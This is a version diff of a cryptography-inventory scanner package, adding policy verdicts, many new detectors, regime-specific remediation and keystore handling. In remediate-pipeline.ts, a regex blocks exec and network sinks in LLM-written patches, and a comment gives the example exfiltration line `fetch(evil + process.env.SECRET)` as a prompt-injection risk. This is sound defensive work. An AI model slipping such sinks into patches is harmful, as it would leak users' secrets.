@quantakrypto/core 0.4.3 → 0.5.0

package/src/policy.ts

@@ -0,0 +1,180 @@
+/**
+ * Machine-readable cryptography policy → per-finding verdicts for the ISO/IEC
+ * 27001 A.8.24 evidence report (docs/compliance/iso27001-a8.24-evidence.md §4).
+ *
+ * An organization supplies a policy listing which classical algorithm families it
+ * prohibits, permits, or is actively transitioning off. `buildPolicyMapping` then
+ * flags each qScan finding as `conformant` / `violation` / `transition-pending`
+ * against that policy — turning the neutral inventory into audit-ready evidence
+ * that the org *assesses* its cryptography against a defined policy.
+ *
+ * Honesty boundary: without a policy the report stays neutral inventory and the
+ * ORG owns the conformance judgment (COMPLIANCE.md §3). The policy is a permit-
+ * list: a classical family not named anywhere defaults to a violation (unmanaged
+ * crypto is a policy gap), overridable via `defaultVerdict`.
+ */
+import type { AlgorithmFamily, Finding } from "./types.js";
+
+/** The three verdicts a finding can carry against a policy. */
+export type PolicyVerdict = "conformant" | "violation" | "transition-pending";
+
+/** The complete set of algorithm families a policy may reference. */
+const ALGORITHM_FAMILIES: readonly AlgorithmFamily[] = [
+  "RSA",
+  "ECDH",
+  "ECDSA",
+  "EdDSA",
+  "DH",
+  "DSA",
+  "X25519",
+  "X448",
+  "ECIES",
+  "unknown",
+];
+
+/** An organization-supplied cryptography policy (from a JSON file). */
+export interface CryptoPolicy {
+  /** Human name / version of the policy, recorded in the evidence report. */
+  name?: string;
+  /** Families the org explicitly accepts (e.g. short-lived signatures) → conformant. */
+  permitted?: AlgorithmFamily[];
+  /** Families the org prohibits outright → violation. */
+  prohibited?: AlgorithmFamily[];
+  /** Families being actively migrated, allowed within the window → transition-pending. */
+  inTransition?: AlgorithmFamily[];
+  /** Optional migration deadline (ISO date / year), recorded for context. */
+  transitionDeadline?: string;
+  /** Verdict for a family named in none of the lists. Default: `"violation"`. */
+  defaultVerdict?: PolicyVerdict;
+}
+
+/** One finding's verdict against the policy. */
+export interface PolicyFindingVerdict {
+  ruleId: string;
+  algorithm: AlgorithmFamily | "unknown";
+  file: string;
+  line: number;
+  verdict: PolicyVerdict;
+  reason: string;
+}
+
+/** The `policyMapping` block added to the evidence report. */
+export interface PolicyMapping {
+  policyName: string | null;
+  transitionDeadline: string | null;
+  summary: Record<PolicyVerdict, number>;
+  findings: PolicyFindingVerdict[];
+}
+
+/** Resolve one algorithm family's verdict + a human reason against a policy. */
+export function verdictForAlgorithm(
+  algorithm: AlgorithmFamily | undefined,
+  policy: CryptoPolicy,
+): { verdict: PolicyVerdict; reason: string } {
+  const algo = algorithm ?? "unknown";
+  if (policy.prohibited?.includes(algo)) {
+    return { verdict: "violation", reason: `${algo} is prohibited by the policy.` };
+  }
+  if (policy.inTransition?.includes(algo)) {
+    return {
+      verdict: "transition-pending",
+      reason: `${algo} is being migrated (in the policy's transition set).`,
+    };
+  }
+  if (policy.permitted?.includes(algo)) {
+    return { verdict: "conformant", reason: `${algo} is permitted by the policy.` };
+  }
+  const fallback = policy.defaultVerdict ?? "violation";
+  return {
+    verdict: fallback,
+    reason: `${algo} is not named in the policy (default verdict: ${fallback}).`,
+  };
+}
+
+/**
+ * Map every finding to a policy verdict, with per-verdict counts. Deterministic:
+ * the same findings + policy always yield the same mapping (safe to hash in the
+ * A.8.24 evidence attestation).
+ */
+export function buildPolicyMapping(
+  findings: readonly Finding[],
+  policy: CryptoPolicy,
+): PolicyMapping {
+  const summary: Record<PolicyVerdict, number> = {
+    conformant: 0,
+    violation: 0,
+    "transition-pending": 0,
+  };
+  const mapped: PolicyFindingVerdict[] = findings.map((f) => {
+    const { verdict, reason } = verdictForAlgorithm(f.algorithm, policy);
+    summary[verdict]++;
+    return {
+      ruleId: f.ruleId,
+      algorithm: f.algorithm ?? "unknown",
+      file: f.location.file,
+      line: f.location.line,
+      verdict,
+      reason,
+    };
+  });
+  return {
+    policyName: policy.name ?? null,
+    transitionDeadline: policy.transitionDeadline ?? null,
+    summary,
+    findings: mapped,
+  };
+}
+
+/**
+ * Validate + normalize a parsed policy object (from an operator's JSON file).
+ * Throws a `TypeError` with a clear message on anything malformed — a bad policy
+ * file must fail loudly, never silently degrade the evidence verdict.
+ */
+export function parseCryptoPolicy(raw: unknown): CryptoPolicy {
+  if (!raw || typeof raw !== "object" || Array.isArray(raw)) {
+    throw new TypeError("crypto policy must be a JSON object");
+  }
+  const obj = raw as Record<string, unknown>;
+  const validFamilies = new Set<string>(ALGORITHM_FAMILIES);
+  const list = (key: string): AlgorithmFamily[] | undefined => {
+    const v = obj[key];
+    if (v === undefined) return undefined;
+    if (!Array.isArray(v))
+      throw new TypeError(`policy "${key}" must be an array of algorithm families`);
+    for (const item of v) {
+      if (typeof item !== "string" || !validFamilies.has(item)) {
+        throw new TypeError(
+          `policy "${key}" has an unknown algorithm family ${JSON.stringify(item)}; expected one of ${ALGORITHM_FAMILIES.join(", ")}`,
+        );
+      }
+    }
+    return v as AlgorithmFamily[];
+  };
+  const verdicts = new Set<PolicyVerdict>(["conformant", "violation", "transition-pending"]);
+  let defaultVerdict: PolicyVerdict | undefined;
+  if (obj.defaultVerdict !== undefined) {
+    if (
+      typeof obj.defaultVerdict !== "string" ||
+      !verdicts.has(obj.defaultVerdict as PolicyVerdict)
+    ) {
+      throw new TypeError(`policy "defaultVerdict" must be one of ${[...verdicts].join(", ")}`);
+    }
+    defaultVerdict = obj.defaultVerdict as PolicyVerdict;
+  }
+  if (obj.name !== undefined && typeof obj.name !== "string") {
+    throw new TypeError('policy "name" must be a string');
+  }
+  if (obj.transitionDeadline !== undefined && typeof obj.transitionDeadline !== "string") {
+    throw new TypeError('policy "transitionDeadline" must be a string');
+  }
+  return {
+    ...(obj.name !== undefined ? { name: obj.name as string } : {}),
+    ...(list("permitted") ? { permitted: list("permitted") } : {}),
+    ...(list("prohibited") ? { prohibited: list("prohibited") } : {}),
+    ...(list("inTransition") ? { inTransition: list("inTransition") } : {}),
+    ...(obj.transitionDeadline !== undefined
+      ? { transitionDeadline: obj.transitionDeadline as string }
+      : {}),
+    ...(defaultVerdict !== undefined ? { defaultVerdict } : {}),
+  };
+}

package/src/registry.ts

@@ -18,8 +18,44 @@ import { javaDetector } from "./detectors/java.js";
 import { csharpDetector } from "./detectors/csharp.js";
 import { rustDetector } from "./detectors/rust.js";
 import { rubyDetector } from "./detectors/ruby.js";
+import { phpDetector } from "./detectors/php.js";
+import { elixirDetector } from "./detectors/elixir.js";
 import { cDetector } from "./detectors/c.js";
+import { swiftDetector } from "./detectors/swift.js";
+import { objcDetector } from "./detectors/objc.js";
+import { dartDetector } from "./detectors/dart.js";
+import { solidityDetector } from "./detectors/solidity.js";
 import { pemDetector } from "./detectors/pem.js";
+import { jwkDetector } from "./detectors/jwk.js";
+import { terraformDetector } from "./detectors/terraform.js";
+import { cloudKmsDetector } from "./detectors/cloud-kms.js";
+import { cicdDetector } from "./detectors/cicd.js";
+import { secretsDetector } from "./detectors/secrets.js";
+import { joseDetector } from "./detectors/jose.js";
+import { k8sDetector } from "./detectors/k8s.js";
+import { messagingDetector } from "./detectors/messaging.js";
+import { databaseDetector } from "./detectors/database.js";
+import { xmldsigDetector } from "./detectors/xmldsig.js";
+import { pkcs11Detector } from "./detectors/pkcs11.js";
+import { dkimDetector } from "./detectors/dkim.js";
+import { sshCaDetector } from "./detectors/ssh-ca.js";
+import { spireDetector } from "./detectors/spire.js";
+import { proxyDetector } from "./detectors/proxy.js";
+import { webauthnDetector } from "./detectors/webauthn.js";
+import { codesignDetector } from "./detectors/codesign.js";
+import { weakHashDetector } from "./detectors/weak-hash.js";
+import { cloudformationDetector } from "./detectors/cloudformation.js";
+import { bicepDetector } from "./detectors/bicep.js";
+import { pulumiDetector } from "./detectors/pulumi.js";
+import { meshDetector } from "./detectors/mesh.js";
+import { dnssecDetector } from "./detectors/dnssec.js";
+import { vpnDetector } from "./detectors/vpn.js";
+import { ansibleDetector } from "./detectors/ansible.js";
+import { ageDetector } from "./detectors/age.js";
+import { supplyChainDetector } from "./detectors/supply-chain.js";
+import { vaultDetector } from "./detectors/vault.js";
+import { keystoreDetector } from "./detectors/keystore.js";
+import { openpgpDetector } from "./detectors/openpgp.js";
 import { statefulHbsDetector } from "./detectors/stateful-hbs.js";
 
 /** Normalised scope of a detector (defaults to "source" when undeclared). */
@@ -110,10 +146,15 @@ export class DetectorRegistry {
 }
 
 /**
- * The built-in detectors, in run order: the JS/TS source + config detectors,
- * then the per-language detectors (Python, Go, Java, C#, Rust, Ruby, C/C++),
- * then the language-agnostic PEM and stateful-HBS (SP 800-208) detectors. The
- * manifest (dependency) scanner is handled separately by `scan()`.
+ * The built-in detectors, in run order: the JS/TS source + language-agnostic config
+ * detectors, the per-language source packs (Python, Go, Java/Kotlin/Scala, C#, Rust,
+ * Ruby, PHP, Elixir, C/C++, Swift, Objective-C, Dart, Solidity/Move/Cairo), the
+ * infrastructure/config detectors (Terraform, Bicep, Pulumi, CloudFormation, cloud-KMS,
+ * k8s, mesh, DNSSEC, Vault, database/TDE, messaging, VPN, Ansible, supply-chain, CI/CD,
+ * secrets, age, keystore, OpenPGP, JWK, XML-DSig/SAML, PKCS#11/HSM, DKIM, SSH-CA,
+ * SPIFFE/SPIRE, reverse-proxy/gRPC TLS, WebAuthn/FIDO2, code-signing, weak-hash-in-
+ * signature), and the stateful-HBS (SP 800-208) detector. The manifest (dependency)
+ * scanner is handled separately by `scan()`.
  *
  * This is the single source of truth for the default detector set: both
  * {@link defaultRegistry} and the public `detectors` export (re-exported from
@@ -127,8 +168,44 @@ export const builtinDetectors: Detector[] = [
   csharpDetector,
   rustDetector,
   rubyDetector,
+  phpDetector,
+  elixirDetector,
   cDetector,
+  swiftDetector,
+  objcDetector,
+  dartDetector,
+  solidityDetector,
   pemDetector,
+  jwkDetector,
+  terraformDetector,
+  cloudKmsDetector,
+  cicdDetector,
+  secretsDetector,
+  joseDetector,
+  k8sDetector,
+  messagingDetector,
+  databaseDetector,
+  xmldsigDetector,
+  pkcs11Detector,
+  dkimDetector,
+  sshCaDetector,
+  spireDetector,
+  proxyDetector,
+  webauthnDetector,
+  codesignDetector,
+  weakHashDetector,
+  cloudformationDetector,
+  bicepDetector,
+  pulumiDetector,
+  meshDetector,
+  dnssecDetector,
+  vpnDetector,
+  ansibleDetector,
+  ageDetector,
+  supplyChainDetector,
+  vaultDetector,
+  keystoreDetector,
+  openpgpDetector,
   statefulHbsDetector,
 ];
 

package/src/remediate-pipeline.ts

@@ -52,12 +52,24 @@ function passesVerify(before: Finding[], after: Finding[], finding: Finding): bo
  * RSA call and add `fetch(evil + process.env.SECRET)` and still pass. This guard
  * runs ONLY on `source: "llm"` patches (codemods are deterministic + trusted).
  */
-const NEW_SINK_RE =
-  /\b(?:fetch|XMLHttpRequest|WebSocket|navigator\.sendBeacon|child_process|execSync|execFileSync|spawnSync|exec(?:File)?\s*\(|spawn\s*\(|eval\s*\(|new\s+Function|os\.system|subprocess|Runtime\.getRuntime|require\s*\(\s*['"](?:child_process|http|https|net|dns|dgram)['"]|import\s*\(\s*['"](?:child_process|http|https|net|dns|dgram)['"])/g;
+// Node built-in exfil/RCE modules, matched with an OPTIONAL `node:` prefix
+// (idiomatic modern Node — the bare-only form was bypassable) and in BOTH
+// require()/import() call forms AND static `import … from "…"` — the static
+// form has no parens so the old dynamic-only pattern missed it entirely.
+const SINK_MODULES = "child_process|http|https|http2|net|tls|dns|dgram";
+const NEW_SINK_RE = new RegExp(
+  "\\b(?:fetch|XMLHttpRequest|WebSocket|navigator\\.sendBeacon|child_process|execSync|execFileSync|spawnSync|exec(?:File)?\\s*\\(|spawn\\s*\\(|eval\\s*\\(|new\\s+Function|os\\.system|subprocess|Runtime\\.getRuntime" +
+    `|require\\s*\\(\\s*['"](?:node:)?(?:${SINK_MODULES})['"]` +
+    `|import\\s*\\(\\s*['"](?:node:)?(?:${SINK_MODULES})['"]` +
+    `|import\\s+[^;\\n]{0,200}?from\\s*['"](?:node:)?(?:${SINK_MODULES})['"])`,
+  "g",
+);
+/** Stateless (non-global) sibling of {@link NEW_SINK_RE} for per-line `.test()`. */
+const NEW_SINK_LINE_RE = new RegExp(NEW_SINK_RE.source);
 
 /** Max changed lines allowed in an auto-verified LLM patch — a real crypto fix
  * is localized; a sprawling rewrite is not reviewable as "just the fix". */
-export const LLM_PATCH_MAX_CHANGED_LINES = 60;
+const LLM_PATCH_MAX_CHANGED_LINES = 60;
 
 function countMatches(re: RegExp, s: string): number {
   return (s.match(re) ?? []).length;
@@ -81,6 +93,17 @@ function changedLineCount(before: string, after: string): number {
 
 /** Reason an LLM patch is unsafe to auto-verify, or null when it is bounded. */
 function llmPatchRisk(before: string, patch: Patch): string | null {
+  // Reject any exfil/RCE sink on a line the patch ADDS. More robust than a bare
+  // count: it catches a sink SWAPPED into a file that already had one, and does
+  // not depend on the total count rising (trimmed line-set membership).
+  const beforeLines = new Set(before.split("\n").map((l) => l.trim()));
+  const addsSink = patch.newContent
+    .split("\n")
+    .some((l) => !beforeLines.has(l.trim()) && NEW_SINK_LINE_RE.test(l));
+  if (addsSink) {
+    return "LLM patch adds a network/exec/eval sink on a new line (possible prompt-injection); rejected — review the diff manually";
+  }
+  // Backstop: the total sink count must not rise either.
   if (countMatches(NEW_SINK_RE, patch.newContent) > countMatches(NEW_SINK_RE, before)) {
     return "LLM patch introduces a new network/exec/eval sink (possible prompt-injection); rejected — review the diff manually";
   }

package/src/remediation.ts

@@ -6,6 +6,7 @@
  * standards to track are captured in {@link PQC_TRANSITION_NOTE}.
  */
 import type { AlgorithmFamily, Remediation } from "./types.js";
+import type { StandardsProfile } from "./standards-profiles.js";
 
 /** Canonical remediation table, keyed by algorithm family. */
 const REMEDIATIONS: Record<AlgorithmFamily, Remediation> = {
@@ -188,6 +189,44 @@ export function remediationForTier(
   };
 }
 
+/**
+ * Regime-aware remediation. Composes the base family guidance with a
+ * {@link StandardsProfile}'s parameter sets, HYBRID STANCE, and deprecation
+ * deadlines, so an ANSSI/BSI audience is told hybrid is *required* while a CNSA 2.0
+ * audience is told it is *optional* (and pointed at the 1024-level hybrid). This is
+ * the profile-driven successor to {@link remediationForTier}; `--tier category-5`
+ * resolves to the `cnsa-2.0` profile.
+ */
+export function remediationForProfile(
+  algorithm: AlgorithmFamily,
+  profile: StandardsProfile,
+): Remediation {
+  const base = REMEDIATIONS[algorithm];
+  const isConf = isConfidentialityFamily(algorithm);
+  const primary = isConf ? profile.paramSets.kem : profile.paramSets.signature;
+  // The hybrid stance governs KEY ESTABLISHMENT, so it is surfaced for confidentiality
+  // families; signature families migrate to a stateless PQC signer directly.
+  const stanceWord =
+    profile.hybridStance === "required"
+      ? "hybrid required"
+      : profile.hybridStance === "recommended"
+        ? "hybrid recommended"
+        : "hybrids optional";
+  const recommendation = isConf
+    ? `${primary} — ${profile.name}: ${stanceWord}`
+    : `${primary} — ${profile.name}`;
+  const hybridClause = isConf ? ` ${profile.hybridGuidance}` : "";
+  return {
+    algorithm,
+    recommendation,
+    detail:
+      `${base.detail} Under ${profile.name} (${profile.citation}), use ${profile.paramSets.kem} for ` +
+      `key establishment and ${profile.paramSets.signature} for signatures; classical public-key ` +
+      `crypto is deprecated after ${profile.deprecateAfter} and disallowed after ${profile.disallowAfter}.` +
+      hybridClause,
+  };
+}
+
 /**
  * Guidance for stateful hash-based signatures (SP 800-208: LMS / XMSS / HSS).
  * These are NIST-approved for firmware / boot signing but are STATEFUL — each

package/src/report.ts

@@ -7,8 +7,10 @@ import type { AlgorithmFamily, Finding, RuleMeta, ScanResult, Severity } from ".
 import { VERSION } from "./version.js";
 import { SEVERITY_ORDER, sarifLevel } from "./severity.js";
 import { ANALYZABLE_LANGUAGES_LABEL } from "./detect-utils.js";
-import { remediationFor, remediationForTier } from "./remediation.js";
+import { remediationFor, remediationForTier, remediationForProfile } from "./remediation.js";
 import type { SecurityTier } from "./remediation.js";
+import type { StandardsProfile } from "./standards-profiles.js";
+import { fingerprintFinding } from "./baseline.js";
 
 /** Minimal SARIF 2.1.0 log shape (kept permissive on purpose). */
 export interface SarifLog {
@@ -162,6 +164,12 @@ export function toSarif(result: ScanResult, opts?: ReportOptions): SarifLog {
       ruleIndex: ruleIndex.get(f.ruleId),
       level: sarifLevel(f.severity),
       message: { text: f.message },
+      // Line-INSENSITIVE fingerprint (the same one the baseline uses:
+      // sha256 of ruleId|file|normalizedSnippet). GitHub code scanning keys
+      // alert identity + dedup off partialFingerprints, so a finding survives
+      // line shifts and reformatting instead of re-alerting as "new" on every
+      // edit above it. `quantakrypto/v1` names our scheme.
+      partialFingerprints: { "quantakrypto/v1": fingerprintFinding(f) },
       properties: {
         category: f.category,
         severity: f.severity,
@@ -468,3 +476,37 @@ export function formatTierGuidance(
   }
   return out;
 }
+
+/**
+ * Per-family migration targets tailored to a selected {@link StandardsProfile}
+ * (`--profile`). Unlike {@link formatTierGuidance} (CNSA-tier only), this surfaces the
+ * regime's parameter sets AND its hybrid stance — required (ANSSI/BSI) vs recommended
+ * (NIST/NCSC) vs optional (CNSA 2.0) — so guidance isn't regime-wrong. Returns plain
+ * (un-coloured) lines; the caller styles them.
+ */
+export function formatProfileGuidance(
+  byAlgorithm: Record<string, number>,
+  profile: StandardsProfile,
+): string[] {
+  const out: string[] = [`${profile.name} migration targets:`];
+  const seen = new Set<string>();
+  for (const [k, n] of Object.entries(byAlgorithm)) {
+    if (n <= 0) continue;
+    const fam = k as AlgorithmFamily;
+    if (fam === "unknown" || !remediationFor(fam)) continue; // skip unmapped families
+    const rem = remediationForProfile(fam, profile);
+    if (seen.has(rem.recommendation)) continue;
+    seen.add(rem.recommendation);
+    out.push(`  ${fam} → ${rem.recommendation}`);
+  }
+  const stance =
+    profile.hybridStance === "required"
+      ? "requires classical+PQC hybridization"
+      : profile.hybridStance === "recommended"
+        ? "recommends hybridization"
+        : "does not require hybridization";
+  out.push(
+    `  ${profile.authority} ${stance}; classical public-key crypto disallowed after ${profile.disallowAfter} (${profile.citation}).`,
+  );
+  return out;
+}

package/src/scan-worker.ts

@@ -15,7 +15,7 @@ import { parentPort, workerData } from "node:worker_threads";
 import type { Finding } from "./types.js";
 import { defaultRegistry } from "./registry.js";
 import { detectFile } from "./scan.js";
-import { looksMinified } from "./walk.js";
+import { isKeystorePath, looksMinified } from "./walk.js";
 import { isManifestFile } from "./dependencies.js";
 
 interface WorkerToggles {
@@ -48,14 +48,16 @@ if (parentPort) {
 
       for (const rel of req.files) {
         const abs = path.join(baseDir, ...rel.split("/"));
+        // Keystores (.jks/.p12/…) are read byte-preserving (latin1); see scan.ts.
+        const keystore = isKeystorePath(rel);
         let content: string;
         try {
-          content = readFileSync(abs, "utf8");
+          content = readFileSync(abs, keystore ? "latin1" : "utf8");
         } catch {
           unreadable += 1;
           continue;
         }
-        if (!toggles.scanMinified && !isManifestFile(rel) && looksMinified(content)) {
+        if (!toggles.scanMinified && !isManifestFile(rel) && !keystore && looksMinified(content)) {
           skippedMinified += 1;
           continue;
         }

package/src/scan.ts

@@ -13,7 +13,15 @@ import { readFile, stat } from "node:fs/promises";
 import * as path from "node:path";
 
 import type { Detector, Finding, ScanOptions, ScanResult } from "./types.js";
-import { walkFiles, toPosix, isBinaryPath, looksMinified, matchesAny } from "./walk.js";
+import {
+  walkFiles,
+  toPosix,
+  isBinaryPath,
+  isKeystorePath,
+  looksMinified,
+  matchesAny,
+  DEFAULT_MAX_FILE_SIZE,
+} from "./walk.js";
 import { isAnalyzableSource } from "./detect-utils.js";
 import {
   stripCommentFindings,
@@ -26,7 +34,16 @@ import {
  * A match inside a string (e.g. `t.Error("SigningMethodPS256 …")`) is prose and
  * is dropped. Rules that legitimately match quoted tokens are NOT listed here.
  */
-const CODE_ONLY_RULES: ReadonlySet<string> = new Set(["go-jwt-signingmethod"]);
+const CODE_ONLY_RULES: ReadonlySet<string> = new Set([
+  "go-jwt-signingmethod",
+  // Identifier-form JWT alg constants (jjwt `SignatureAlgorithm.RS256`, auth0
+  // `Algorithm.RSA256`, C# `SecurityAlgorithms.*`, Rust `Algorithm::RS256`). Like the
+  // Go rule, these are only meaningful as code; the SAME token inside a string literal
+  // (an error message that names/forbids the alg) is prose, not a usage.
+  "java-jwt-alg",
+  "csharp-jwt-alg",
+  "rust-jwt-algorithm",
+]);
 import { hashContent, loadCache, rulesetFingerprint, saveCache } from "./cache.js";
 import type { CacheEntry } from "./cache.js";
 import { builtinDetectors, defaultRegistry, detectorScope } from "./registry.js";
@@ -169,23 +186,41 @@ export async function scan(options: ScanOptions): Promise<ScanResult> {
 
     options.onFile?.(reportedPath);
 
+    // Cryptographic keystores (.jks/.p12/…) are binary; read them byte-preserving
+    // (latin1) so the keystore detector can inspect magic bytes.
+    const keystore = isKeystorePath(reportedPath);
+    // Keystores are read whole into memory as latin1. The walker already caps file
+    // size, but the explicit-file-list (incremental) path does not — so stat and
+    // skip an oversized binary here to avoid reading a huge encrypted archive
+    // (`.gpg`) into a string.
+    if (keystore) {
+      try {
+        const { size } = await stat(absPath);
+        if (size > (options.maxFileSize ?? DEFAULT_MAX_FILE_SIZE)) continue;
+      } catch {
+        unreadable += 1;
+        continue;
+      }
+    }
     let content: string;
     try {
-      content = await readFile(absPath, "utf8");
+      content = await readFile(absPath, keystore ? "latin1" : "utf8");
     } catch {
       unreadable += 1; // permissions / vanished / decode failure — tracked, not silent.
       continue;
     }
 
     // Skip machine-minified / generated content (unless explicitly enabled).
-    // Manifests are always scanned (their findings are dependency findings).
-    if (!scanMinified && !isManifestFile(reportedPath) && looksMinified(content)) {
+    // Manifests and keystores are always scanned.
+    if (!scanMinified && !isManifestFile(reportedPath) && !keystore && looksMinified(content)) {
       skippedMinified += 1;
       continue;
     }
 
     // Cumulative-byte budget: enforced once this file's bytes are accounted for.
-    bytesScanned += Buffer.byteLength(content, "utf8");
+    // Use the read encoding so a latin1 keystore is counted at its on-disk size
+    // (a utf8 byteLength would double-count every byte ≥ 0x80).
+    bytesScanned += Buffer.byteLength(content, keystore ? "latin1" : "utf8");
     if (typeof maxBytes === "number" && bytesScanned > maxBytes) {
       throw new BudgetExceededError(`maxBytes budget exceeded (limit: ${maxBytes}).`);
     }